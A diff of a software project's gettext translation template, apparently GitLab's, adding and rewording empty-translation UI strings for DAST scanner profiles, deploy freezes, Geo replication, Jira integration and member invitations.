+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
msgid "CycleAnalytics|Showing data for group '%{groupName}' and %{selectedProjectCount} projects from %{startDate} to %{endDate}"
msgstr ""
@@ -9671,6 +9975,9 @@ msgstr ""
msgid "DastProfiles|Authentication URL"
msgstr ""
+msgid "DastProfiles|Branch missing"
+msgstr ""
+
msgid "DastProfiles|Could not create the scanner profile. Please try again."
msgstr ""
@@ -9740,6 +10047,12 @@ msgstr ""
msgid "DastProfiles|Enable Authentication"
msgstr ""
+msgid "DastProfiles|Enter URLs in a comma-separated list."
+msgstr ""
+
+msgid "DastProfiles|Enter headers in a comma-separated list."
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -9800,6 +10113,9 @@ msgstr ""
msgid "DastProfiles|Profile name"
msgstr ""
+msgid "DastProfiles|Request header names and values. Headers are added to every request made by DAST."
+msgstr ""
+
msgid "DastProfiles|Request headers"
msgstr ""
@@ -9833,6 +10149,9 @@ msgstr ""
msgid "DastProfiles|Scanner name"
msgstr ""
+msgid "DastProfiles|Select branch"
+msgstr ""
+
msgid "DastProfiles|Show debug messages"
msgstr ""
@@ -9863,12 +10182,24 @@ msgstr ""
msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
+msgid "DastProfiles|This profile is currently being used in a policy."
+msgstr ""
+
+msgid "DastProfiles|This scanner profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
+msgid "DastProfiles|This site profile is currently being used by a policy. To make edits you must remove it from the active policy."
+msgstr ""
+
msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
msgid "DastProfiles|URL"
msgstr ""
+msgid "DastProfiles|URLs to skip during the authenticated scan. Use regular expression syntax to match multiple URLs."
+msgstr ""
+
msgid "DastProfiles|Username"
msgstr ""
@@ -9949,6 +10280,9 @@ msgstr ""
msgid "DastSiteValidation|Validation failed"
msgstr ""
+msgid "DastSiteValidation|Validation failed for %{url}. %{retryButtonStart}Retry validation%{retryButtonEnd}."
+msgstr ""
+
msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
@@ -9979,6 +10313,9 @@ msgstr ""
msgid "Date range is greater than %{quarter_days} days"
msgstr ""
+msgid "Date range must be shorter than %{max_range} days."
+msgstr ""
+
msgid "Day of month"
msgstr ""
@@ -10414,13 +10751,19 @@ msgstr ""
msgid "DeployFreeze|Add a freeze period to prevent unintended releases during a period of time for a given environment. You must update the deployment jobs in %{filename} according to the deploy freezes added here. %{freeze_period_link_start}Learn more.%{freeze_period_link_end}"
msgstr ""
+msgid "DeployFreeze|Add deploy freeze"
+msgstr ""
+
+msgid "DeployFreeze|Edit"
+msgstr ""
+
msgid "DeployFreeze|Freeze end"
msgstr ""
msgid "DeployFreeze|Freeze start"
msgstr ""
-msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
+msgid "DeployFreeze|No deploy freezes exist for this project. To add one, select %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
msgid "DeployFreeze|Specify deploy freezes using %{cron_syntax_link_start}cron syntax%{cron_syntax_link_end}."
@@ -10531,9 +10874,6 @@ msgstr ""
msgid "DeployTokens|Revoke"
msgstr ""
-msgid "DeployTokens|Revoke %{b_start}%{name}%{b_end}?"
-msgstr ""
-
msgid "DeployTokens|Revoke %{name}"
msgstr ""
@@ -10561,9 +10901,6 @@ msgstr ""
msgid "DeployTokens|Username"
msgstr ""
-msgid "DeployTokens|You are about to revoke %{b_start}%{name}%{b_end}."
-msgstr ""
-
msgid "DeployTokens|Your new Deploy Token username"
msgstr ""
@@ -10680,9 +11017,6 @@ msgstr ""
msgid "Descriptive label"
msgstr ""
-msgid "Deselect all"
-msgstr ""
-
msgid "Design Management files and data"
msgstr ""
@@ -10842,13 +11176,13 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Adoption"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} group selected"
+msgid "DevOps Report"
msgstr ""
-msgid "DevopsAdoption|%{selectedCount} groups selected"
+msgid "DevopsAdoption|Add / remove groups"
msgstr ""
msgid "DevopsAdoption|Add Group"
@@ -10863,7 +11197,7 @@ msgstr ""
msgid "DevopsAdoption|An error occurred while removing the group. Please try again."
msgstr ""
-msgid "DevopsAdoption|An error occurred while saving the group. Please try again."
+msgid "DevopsAdoption|An error occurred while saving changes. Please try again."
msgstr ""
msgid "DevopsAdoption|Approvals"
@@ -11120,6 +11454,9 @@ msgstr ""
msgid "Dismiss Value Stream Analytics introduction box"
msgstr ""
+msgid "Dismiss merge request promotion"
+msgstr ""
+
msgid "Dismiss selected"
msgstr ""
@@ -11363,6 +11700,9 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit deploy freeze"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -11375,6 +11715,9 @@ msgstr ""
msgid "Edit fork in Web IDE"
msgstr ""
+msgid "Edit group application"
+msgstr ""
+
msgid "Edit group: %{group_name}"
msgstr ""
@@ -11594,6 +11937,9 @@ msgstr ""
msgid "Enable Auto DevOps"
msgstr ""
+msgid "Enable Git pack file bitmap creation"
+msgstr ""
+
msgid "Enable Gitpod"
msgstr ""
@@ -11618,6 +11964,9 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Repository Checks"
+msgstr ""
+
msgid "Enable SSL verification"
msgstr ""
@@ -11630,6 +11979,9 @@ msgstr ""
msgid "Enable access to Grafana"
msgstr ""
+msgid "Enable access to the Performance Bar"
+msgstr ""
+
msgid "Enable access to the Performance Bar for a given group."
msgstr ""
@@ -11642,6 +11994,9 @@ msgstr ""
msgid "Enable and disable Service Desk. Some additional configuration might be required. %{link_start}Learn more%{link_end}."
msgstr ""
+msgid "Enable automatic repository housekeeping (git repack, git gc)"
+msgstr ""
+
msgid "Enable classification control using an external service"
msgstr ""
@@ -11753,6 +12108,9 @@ msgstr ""
msgid "Enabled Git access protocols"
msgstr ""
+msgid "Enabled OAuth sign-in sources"
+msgstr ""
+
msgid "Enabled sources for code import during project creation. OmniAuth must be configured for GitHub"
msgstr ""
@@ -11822,9 +12180,6 @@ msgstr ""
msgid "Enter merge request URLs"
msgstr ""
-msgid "Enter new %{field_title}"
-msgstr ""
-
msgid "Enter new AWS Secret Access Key"
msgstr ""
@@ -12452,19 +12807,19 @@ msgstr ""
msgid "ErrorTracking|Active"
msgstr ""
-msgid "ErrorTracking|After adding your Auth Token, use the 'Connect' button to load projects"
+msgid "ErrorTracking|After adding your Auth Token, select the Connect button to load projects."
msgstr ""
msgid "ErrorTracking|Auth Token"
msgstr ""
-msgid "ErrorTracking|Click 'Connect' to re-establish the connection to Sentry and activate the dropdown."
+msgid "ErrorTracking|Click Connect to reestablish the connection to Sentry and activate the dropdown."
msgstr ""
-msgid "ErrorTracking|Connection has failed. Re-check Auth Token and try again."
+msgid "ErrorTracking|Connection failed. Check Auth Token and try again."
msgstr ""
-msgid "ErrorTracking|If you self-host Sentry, enter the full URL of your Sentry instance. If you're using Sentry's hosted solution, enter https://sentry.io"
+msgid "ErrorTracking|If you self-host Sentry, enter your Sentry instance's full URL. If you use Sentry's hosted solution, enter https://sentry.io"
msgstr ""
msgid "ErrorTracking|No projects available"
@@ -12473,7 +12828,7 @@ msgstr ""
msgid "ErrorTracking|Select project"
msgstr ""
-msgid "ErrorTracking|To enable project selection, enter a valid Auth Token"
+msgid "ErrorTracking|To enable project selection, enter a valid Auth Token."
msgstr ""
msgid "Errors"
@@ -12584,9 +12939,6 @@ msgstr ""
msgid "Evidence collection"
msgstr ""
-msgid "Ex: Example.com"
-msgstr ""
-
msgid "Exactly one of %{attributes} is required"
msgstr ""
@@ -12653,6 +13005,9 @@ msgstr ""
msgid "Expand milestones"
msgstr ""
+msgid "Expand panel"
+msgstr ""
+
msgid "Expand sidebar"
msgstr ""
@@ -12722,6 +13077,9 @@ msgstr ""
msgid "Export"
msgstr ""
+msgid "Export %{name}"
+msgstr ""
+
msgid "Export %{requirementsCount} requirements?"
msgstr ""
@@ -12734,12 +13092,6 @@ msgstr ""
msgid "Export group"
msgstr ""
-msgid "Export issues"
-msgstr ""
-
-msgid "Export merge requests"
-msgstr ""
-
msgid "Export project"
msgstr ""
@@ -12767,9 +13119,6 @@ msgstr ""
msgid "External URL"
msgstr ""
-msgid "External Wiki"
-msgstr ""
-
msgid "External authentication"
msgstr ""
@@ -12791,13 +13140,16 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
-msgid "ExternalWikiService|External Wiki"
+msgid "ExternalWikiService|External wiki"
+msgstr ""
+
+msgid "ExternalWikiService|External wiki URL"
msgstr ""
msgid "ExternalWikiService|Replaces the link to the internal wiki with a link to an external wiki."
msgstr ""
-msgid "ExternalWikiService|The URL of the external Wiki"
+msgid "ExternalWikiService|The URL of the external wiki"
msgstr ""
msgid "Facebook"
@@ -12896,6 +13248,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load assignees."
+msgstr ""
+
msgid "Failed to load assignees. Please try again."
msgstr ""
@@ -12923,9 +13278,15 @@ msgstr ""
msgid "Failed to load groups, users and deploy keys."
msgstr ""
+msgid "Failed to load iterations."
+msgstr ""
+
msgid "Failed to load labels. Please try again."
msgstr ""
+msgid "Failed to load milestones."
+msgstr ""
+
msgid "Failed to load milestones. Please try again."
msgstr ""
@@ -12974,9 +13335,6 @@ msgstr ""
msgid "Failed to remove a to-do item for the design."
msgstr ""
-msgid "Failed to remove issue from board, please try again."
-msgstr ""
-
msgid "Failed to remove mirror."
msgstr ""
@@ -13031,9 +13389,6 @@ msgstr ""
msgid "Failed to update issue status"
msgstr ""
-msgid "Failed to update issues, please try again."
-msgstr ""
-
msgid "Failed to update the Canary Ingress."
msgstr ""
@@ -13420,10 +13775,10 @@ msgstr ""
msgid "Filter by %{issuable_type} that are currently closed."
msgstr ""
-msgid "Filter by %{issuable_type} that are currently opened."
+msgid "Filter by %{issuable_type} that are currently open."
msgstr ""
-msgid "Filter by %{page_context_word} that are currently opened."
+msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
msgid "Filter by Git revision"
@@ -13456,7 +13811,7 @@ msgstr ""
msgid "Filter by test cases that are currently archived."
msgstr ""
-msgid "Filter by test cases that are currently opened."
+msgid "Filter by test cases that are currently open."
msgstr ""
msgid "Filter by two-factor authentication"
@@ -13558,6 +13913,9 @@ msgstr ""
msgid "FlowdockService|Flowdock is a collaboration web app for technical teams."
msgstr ""
+msgid "Focus filter bar"
+msgstr ""
+
msgid "FogBugz Email"
msgstr ""
@@ -13606,12 +13964,15 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
-msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgid "For general work"
msgstr ""
msgid "For individual use, create a separate account under your personal email address, not tied to the Enterprise email domain or group."
msgstr ""
+msgid "For investigating IT service disruptions or outages"
+msgstr ""
+
msgid "For more info, read the documentation."
msgstr ""
@@ -13621,9 +13982,6 @@ msgstr ""
msgid "For more information, go to the "
msgstr ""
-msgid "For more information, please review %{link_start_tag}Jaeger's configuration doc%{link_end_tag}"
-msgstr ""
-
msgid "For more information, see the File Hooks documentation."
msgstr ""
@@ -13648,6 +14006,9 @@ msgstr ""
msgid "Fork project?"
msgstr ""
+msgid "ForkProject|A fork is a copy of a project."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -13657,6 +14018,9 @@ msgstr ""
msgid "ForkProject|Fork project"
msgstr ""
+msgid "ForkProject|Forking a repository allows you to make changes without affecting the original project."
+msgstr ""
+
msgid "ForkProject|Internal"
msgstr ""
@@ -13672,6 +14036,9 @@ msgstr ""
msgid "ForkProject|Select a namespace"
msgstr ""
+msgid "ForkProject|Select a namespace to fork the project"
+msgstr ""
+
msgid "ForkProject|The project can be accessed by any logged in user."
msgstr ""
@@ -13690,9 +14057,6 @@ msgstr ""
msgid "ForkedFromProjectPath|Forked from an inaccessible project"
msgstr ""
-msgid "Forking a repository allows you to make changes without affecting the original project."
-msgstr ""
-
msgid "Forking in progress"
msgstr ""
@@ -13954,6 +14318,9 @@ msgstr ""
msgid "Geo|%{name} is scheduled for re-verify"
msgstr ""
+msgid "Geo|%{title} checksum progress"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -13996,9 +14363,15 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing upload."
msgstr ""
+msgid "Geo|Data replication lag"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
+msgid "Geo|Does not match the primary storage configuration"
+msgstr ""
+
msgid "Geo|Failed"
msgstr ""
@@ -14023,6 +14396,15 @@ msgstr ""
msgid "Geo|In sync"
msgstr ""
+msgid "Geo|Internal URL"
+msgstr ""
+
+msgid "Geo|Last event ID from primary"
+msgstr ""
+
+msgid "Geo|Last event ID processed by cursor"
+msgstr ""
+
msgid "Geo|Last repository check run"
msgstr ""
@@ -14056,6 +14438,12 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr ""
+msgid "Geo|Nothing to synchronize"
+msgstr ""
+
+msgid "Geo|Number of %{title}"
+msgstr ""
+
msgid "Geo|Pending synchronization"
msgstr ""
@@ -14083,6 +14471,9 @@ msgstr ""
msgid "Geo|Projects in certain storage shards"
msgstr ""
+msgid "Geo|Queued"
+msgstr ""
+
msgid "Geo|Redownload"
msgstr ""
@@ -14095,6 +14486,30 @@ msgstr ""
msgid "Geo|Remove tracking database entry"
msgstr ""
+msgid "Geo|Replicated data is verified with the secondary node(s) using checksums."
+msgstr ""
+
+msgid "Geo|Replication Details"
+msgstr ""
+
+msgid "Geo|Replication counts"
+msgstr ""
+
+msgid "Geo|Replication details"
+msgstr ""
+
+msgid "Geo|Replication slot WAL"
+msgstr ""
+
+msgid "Geo|Replication slots"
+msgstr ""
+
+msgid "Geo|Replication status"
+msgstr ""
+
+msgid "Geo|Replication summary"
+msgstr ""
+
msgid "Geo|Resync"
msgstr ""
@@ -14122,6 +14537,9 @@ msgstr ""
msgid "Geo|Status"
msgstr ""
+msgid "Geo|Storage config"
+msgstr ""
+
msgid "Geo|Synced"
msgstr ""
@@ -14134,6 +14552,9 @@ msgstr ""
msgid "Geo|Synchronization of %{itemTitle} is disabled."
msgstr ""
+msgid "Geo|Synchronization settings"
+msgstr ""
+
msgid "Geo|The database is currently %{db_lag} behind the primary node."
msgstr ""
@@ -14167,6 +14588,9 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr ""
+msgid "Geo|Verificaton information"
+msgstr ""
+
msgid "Geo|Waiting for scheduler"
msgstr ""
@@ -14212,6 +14636,9 @@ msgstr ""
msgid "Git"
msgstr ""
+msgid "Git GC period"
+msgstr ""
+
msgid "Git LFS is not enabled on this GitLab server, contact your admin."
msgstr ""
@@ -14341,6 +14768,12 @@ msgstr ""
msgid "GitLab uses %{jaeger_link} to monitor distributed systems."
msgstr ""
+msgid "GitLab version"
+msgstr ""
+
+msgid "GitLab will periodically run %{link_to_git_fsck} in all project and wiki repositories to look for silent disk corruption issues."
+msgstr ""
+
msgid "GitLab will run a background job that will produce pseudonymized CSVs of the GitLab database that will be uploaded to your configured object storage directory."
msgstr ""
@@ -14464,6 +14897,24 @@ msgstr ""
msgid "Gitea Import"
msgstr ""
+msgid "GithubIntegration|Create a %{token_link_start}personal access token%{token_link_end} with %{status_html} access granted and paste it here."
+msgstr ""
+
+msgid "GithubIntegration|Obtain statuses for commits and pull requests."
+msgstr ""
+
+msgid "GithubIntegration|Repository URL"
+msgstr ""
+
+msgid "GithubIntegration|Select this if you want GitHub to mark status checks as \"Required\". %{learn_more_link_start}Learn more%{learn_more_link_end}."
+msgstr ""
+
+msgid "GithubIntegration|Static status check names (optional)"
+msgstr ""
+
+msgid "GithubIntegration|This requires mirroring your GitHub repository to this project. %{docs_link}"
+msgstr ""
+
msgid "Gitlab Pages"
msgstr ""
@@ -14506,9 +14957,6 @@ msgstr ""
msgid "Go back (while searching for files)"
msgstr ""
-msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
-msgstr ""
-
msgid "Go full screen"
msgstr ""
@@ -14638,16 +15086,13 @@ msgstr ""
msgid "Grafana response contains invalid json"
msgstr ""
-msgid "GrafanaIntegration|API Token"
+msgid "GrafanaIntegration|API token"
msgstr ""
msgid "GrafanaIntegration|Active"
msgstr ""
-msgid "GrafanaIntegration|Embed Grafana charts in GitLab issues."
-msgstr ""
-
-msgid "GrafanaIntegration|Enter the Grafana API Token."
+msgid "GrafanaIntegration|Enter the Grafana API token."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -14659,6 +15104,9 @@ msgstr ""
msgid "GrafanaIntegration|Grafana authentication"
msgstr ""
+msgid "GrafanaIntegration|Set up Grafana authentication to embed Grafana panels in GitLab Flavored Markdown."
+msgstr ""
+
msgid "Grant access"
msgstr ""
@@ -14716,6 +15164,12 @@ msgstr ""
msgid "Group Wikis"
msgstr ""
+msgid "Group application: %{name}"
+msgstr ""
+
+msgid "Group applications"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -14797,9 +15251,6 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
-msgid "Group push rule exists, try updating"
-msgstr ""
-
msgid "Group requires separate account"
msgstr ""
@@ -14902,9 +15353,15 @@ msgstr ""
msgid "GroupSAML|Are you sure you want to remove the SAML group link?"
msgstr ""
+msgid "GroupSAML|Before enforcing SSO, enable SAML authentication."
+msgstr ""
+
msgid "GroupSAML|Certificate fingerprint"
msgstr ""
+msgid "GroupSAML|Check SSO on git activity"
+msgstr ""
+
msgid "GroupSAML|Configuration"
msgstr ""
@@ -14920,7 +15377,10 @@ msgstr ""
msgid "GroupSAML|Enable SAML authentication for this group."
msgstr ""
-msgid "GroupSAML|Enforce SSO-only authentication for this group."
+msgid "GroupSAML|Enforce SSO-access for Git in this group."
+msgstr ""
+
+msgid "GroupSAML|Enforce SSO-only authentication for web activity for this group."
msgstr ""
msgid "GroupSAML|Enforce users to have dedicated group managed accounts for this group."
@@ -15016,9 +15476,6 @@ msgstr ""
msgid "GroupSAML|This will be set as the access level of users added to the group."
msgstr ""
-msgid "GroupSAML|To be able to enable enforced SSO, you first need to enable SAML authentication."
-msgstr ""
-
msgid "GroupSAML|To be able to enable group managed accounts, you first need to enable enforced SSO."
msgstr ""
@@ -15214,9 +15671,6 @@ msgstr ""
msgid "Groups to synchronize"
msgstr ""
-msgid "Groups with access to %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "GroupsDropdown|Frequently visited"
msgstr ""
@@ -15352,9 +15806,6 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Have your users email"
-msgstr ""
-
msgid "Header logo was successfully removed."
msgstr ""
@@ -15539,6 +15990,9 @@ msgstr ""
msgid "How do I configure runners?"
msgstr ""
+msgid "How do I configure this integration?"
+msgstr ""
+
msgid "How do I generate it?"
msgstr ""
@@ -15707,6 +16161,12 @@ msgstr ""
msgid "If you did not recently sign in, you should immediately change your password: %{password_link}."
msgstr ""
+msgid "If you got a lot of false alarms from repository checks you can choose to clear all repository check information from the database."
+msgstr ""
+
+msgid "If you keep automatic housekeeping disabled for a long time Git repository access on your GitLab server will become slower and your repositories will use more disk space. We recommend to always leave this enabled."
+msgstr ""
+
msgid "If you lose your recovery codes you can generate new ones, invalidating all previous codes."
msgstr ""
@@ -15873,9 +16333,6 @@ msgstr ""
msgid "Import/Export Rate Limits"
msgstr ""
-msgid "Import/Export illustration"
-msgstr ""
-
msgid "ImportButtons|Connect repositories from"
msgstr ""
@@ -15926,12 +16383,15 @@ msgstr[2] ""
msgstr[3] ""
msgstr[4] ""
-msgid "Improve Merge Requests and customer support with GitLab Enterprise Edition."
+msgid "Importing..."
msgstr ""
msgid "Improve customer support with Service Desk"
msgstr ""
+msgid "Improve merge requests and customer support with GitLab Enterprise Edition."
+msgstr ""
+
msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
@@ -15941,9 +16401,6 @@ msgstr ""
msgid "In case of pull mirroring, your user will be the author of all events in the activity feed that are the result of an update, like new branches being created or new commits being pushed to existing branches."
msgstr ""
-msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
-msgstr ""
-
msgid "In progress"
msgstr ""
@@ -16529,6 +16986,9 @@ msgstr ""
msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
msgstr ""
+msgid "Infrastructure Registry"
+msgstr ""
+
msgid "Inherited"
msgstr ""
@@ -16702,6 +17162,9 @@ msgstr ""
msgid "Integrations|Linked namespaces"
msgstr ""
+msgid "Integrations|Namespace successfully linked"
+msgstr ""
+
msgid "Integrations|Namespaces are your GitLab groups and subgroups that will be linked to this Jira instance."
msgstr ""
@@ -16747,9 +17210,6 @@ msgstr ""
msgid "Integrations|This integration, and inheriting projects were reset."
msgstr ""
-msgid "Integrations|This requires mirroring your GitHub repository to this project. %{docs_link}"
-msgstr ""
-
msgid "Integrations|To keep this project going, create a new issue."
msgstr ""
@@ -16774,6 +17234,9 @@ msgstr ""
msgid "Integrations|You must have owner or maintainer permissions to link namespaces."
msgstr ""
+msgid "Integrations|You should now see GitLab.com activity inside your Jira Cloud issues. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -16810,9 +17273,6 @@ msgstr ""
msgid "Invalid Insights config file detected"
msgstr ""
-msgid "Invalid Login or password"
-msgstr ""
-
msgid "Invalid OS"
msgstr ""
@@ -17008,7 +17468,7 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|GitLab member or Email address"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -17017,7 +17477,7 @@ msgstr ""
msgid "InviteMembersModal|Invite a group"
msgstr ""
-msgid "InviteMembersModal|Invite team members"
+msgid "InviteMembersModal|Invite members"
msgstr ""
msgid "InviteMembersModal|Members were successfully added"
@@ -17026,25 +17486,25 @@ msgstr ""
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
-msgid "InviteMembersModal|Search for members to invite"
+msgid "InviteMembersModal|Select a group to invite"
msgstr ""
-msgid "InviteMembersModal|Select a group to invite"
+msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
msgid "InviteMembersModal|Some of the members could not be added"
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} group"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting a group to the %{name} project"
+msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} group"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
-msgid "InviteMembersModal|You're inviting members to the %{name} project"
+msgid "InviteMembersModal|You're inviting members to the %{strongStart}%{name}%{strongEnd} project."
msgstr ""
msgid "InviteMembers|Invite a group"
@@ -17059,6 +17519,9 @@ msgstr ""
msgid "InviteMember|Don't worry, you can always invite teammates later"
msgstr ""
+msgid "InviteMember|Invite Member"
+msgstr ""
+
msgid "InviteMember|Invite Members (optional)"
msgstr ""
@@ -17221,6 +17684,9 @@ msgstr ""
msgid "Issue title"
msgstr ""
+msgid "Issue types"
+msgstr ""
+
msgid "Issue update failed"
msgstr ""
@@ -17230,6 +17696,9 @@ msgstr ""
msgid "Issue weight"
msgstr ""
+msgid "Issue(s) already assigned"
+msgstr ""
+
msgid "IssueAnalytics|Age"
msgstr ""
@@ -17317,6 +17786,9 @@ msgstr ""
msgid "Issues closed"
msgstr ""
+msgid "Issues must match this scope to appear in this list."
+msgstr ""
+
msgid "Issues with comments, merge requests with diffs and comments, labels, milestones, snippets, and other project entities"
msgstr ""
@@ -17380,6 +17852,9 @@ msgstr ""
msgid "It's you"
msgstr ""
+msgid "Italic text"
+msgstr ""
+
msgid "Iteration"
msgstr ""
@@ -17467,6 +17942,9 @@ msgstr ""
msgid "JiraService|An error occurred while fetching issue list"
msgstr ""
+msgid "JiraService|Automatically transitions Jira issues to the \"Done\" category. %{linkStart}Learn more%{linkEnd}"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -17479,9 +17957,18 @@ msgstr ""
msgid "JiraService|Enable Jira issues creation from vulnerabilities"
msgstr ""
+msgid "JiraService|Enable Jira transitions"
+msgstr ""
+
+msgid "JiraService|Enter new password or API token"
+msgstr ""
+
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -17521,7 +18008,10 @@ msgstr ""
msgid "JiraService|Jira project key"
msgstr ""
-msgid "JiraService|Jira workflow transition IDs"
+msgid "JiraService|Leave blank to use your current password or API token"
+msgstr ""
+
+msgid "JiraService|Move to Done"
msgstr ""
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
@@ -17542,7 +18032,7 @@ msgstr ""
msgid "JiraService|Select issue type"
msgstr ""
-msgid "JiraService|Set transition IDs for Jira workflow transitions. %{link_start}Learn more%{link_end}"
+msgid "JiraService|Set a custom final state by using transition IDs. %{linkStart}Learn about transition IDs%{linkEnd}"
msgstr ""
msgid "JiraService|Sign in to GitLab.com to get started."
@@ -17554,12 +18044,18 @@ msgstr ""
msgid "JiraService|This issue is synchronized with Jira"
msgstr ""
+msgid "JiraService|Transition Jira issues to their final state:"
+msgstr ""
+
msgid "JiraService|Use a password for server version and an API token for cloud version"
msgstr ""
msgid "JiraService|Use a username for server version and an email for cloud version"
msgstr ""
+msgid "JiraService|Use custom transitions"
+msgstr ""
+
msgid "JiraService|Username or Email"
msgstr ""
@@ -17776,15 +18272,6 @@ msgstr ""
msgid "KeyboardKey|Ctrl+"
msgstr ""
-msgid "KeyboardShortcuts|Global Shortcuts"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle GitLab Next"
-msgstr ""
-
-msgid "KeyboardShortcuts|Toggle the Performance Bar"
-msgstr ""
-
msgid "Keys"
msgstr ""
@@ -17875,6 +18362,9 @@ msgstr ""
msgid "Label lists show all issues with the selected label."
msgstr ""
+msgid "Label priority"
+msgstr ""
+
msgid "Label was created"
msgstr ""
@@ -18081,6 +18571,9 @@ msgstr ""
msgid "Learn more"
msgstr ""
+msgid "Learn more about %{link_start_tag}Jaeger configuration%{link_end_tag}."
+msgstr ""
+
msgid "Learn more about %{username}"
msgstr ""
@@ -18500,6 +18993,9 @@ msgstr ""
msgid "Link copied"
msgstr ""
+msgid "Link text"
+msgstr ""
+
msgid "Link title"
msgstr ""
@@ -18569,6 +19065,9 @@ msgstr ""
msgid "Loading"
msgstr ""
+msgid "Loading %{name}"
+msgstr ""
+
msgid "Loading contribution stats for group members"
msgstr ""
@@ -18743,6 +19242,9 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
+msgid "Manage applications that can use GitLab as an OAuth provider."
+msgstr ""
+
msgid "Manage applications that you've authorized to use your account."
msgstr ""
@@ -18782,6 +19284,9 @@ msgstr ""
msgid "Manifest import"
msgstr ""
+msgid "Manual"
+msgstr ""
+
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -18806,9 +19311,6 @@ msgstr ""
msgid "Mark as ready"
msgstr ""
-msgid "Mark as resolved"
-msgstr ""
-
msgid "Mark this issue as a duplicate of another issue"
msgstr ""
@@ -18884,6 +19386,9 @@ msgstr ""
msgid "MattermostService|Add to Mattermost"
msgstr ""
+msgid "MattermostService|After you configure the integration, view your new Mattermost commands by entering"
+msgstr ""
+
msgid "MattermostService|Command trigger word"
msgstr ""
@@ -18902,13 +19407,10 @@ msgstr ""
msgid "MattermostService|Response username"
msgstr ""
-msgid "MattermostService|See list of available commands in Mattermost after setting up this service, by entering"
-msgstr ""
-
msgid "MattermostService|Suggestions:"
msgstr ""
-msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
+msgid "MattermostService|Use this service to perform common tasks in your project by entering slash commands in Mattermost."
msgstr ""
msgid "Max 100,000 events"
@@ -18983,6 +19485,9 @@ msgstr ""
msgid "Maximum capacity"
msgstr ""
+msgid "Maximum character limit - %{limit}"
+msgstr ""
+
msgid "Maximum concurrency of Elasticsearch bulk requests per indexing operation."
msgstr ""
@@ -19085,9 +19590,6 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
-msgid "Members invited to %{strong_start}%{project_name}%{strong_end}"
-msgstr ""
-
msgid "Members listed as CODEOWNERS of affected files."
msgstr ""
@@ -19097,9 +19599,6 @@ msgstr ""
msgid "Members of %{group} can also push to this branch: %{branch}"
msgstr ""
-msgid "Members of %{strong_open}%{project_name}%{strong_close}"
-msgstr ""
-
msgid "Members of a group may only view projects they have permission to access"
msgstr ""
@@ -19232,9 +19731,6 @@ msgstr ""
msgid "Merge Request Analytics"
msgstr ""
-msgid "Merge Request Approvals"
-msgstr ""
-
msgid "Merge Request Commits"
msgstr ""
@@ -19292,9 +19788,6 @@ msgstr ""
msgid "Merge request approvals"
msgstr ""
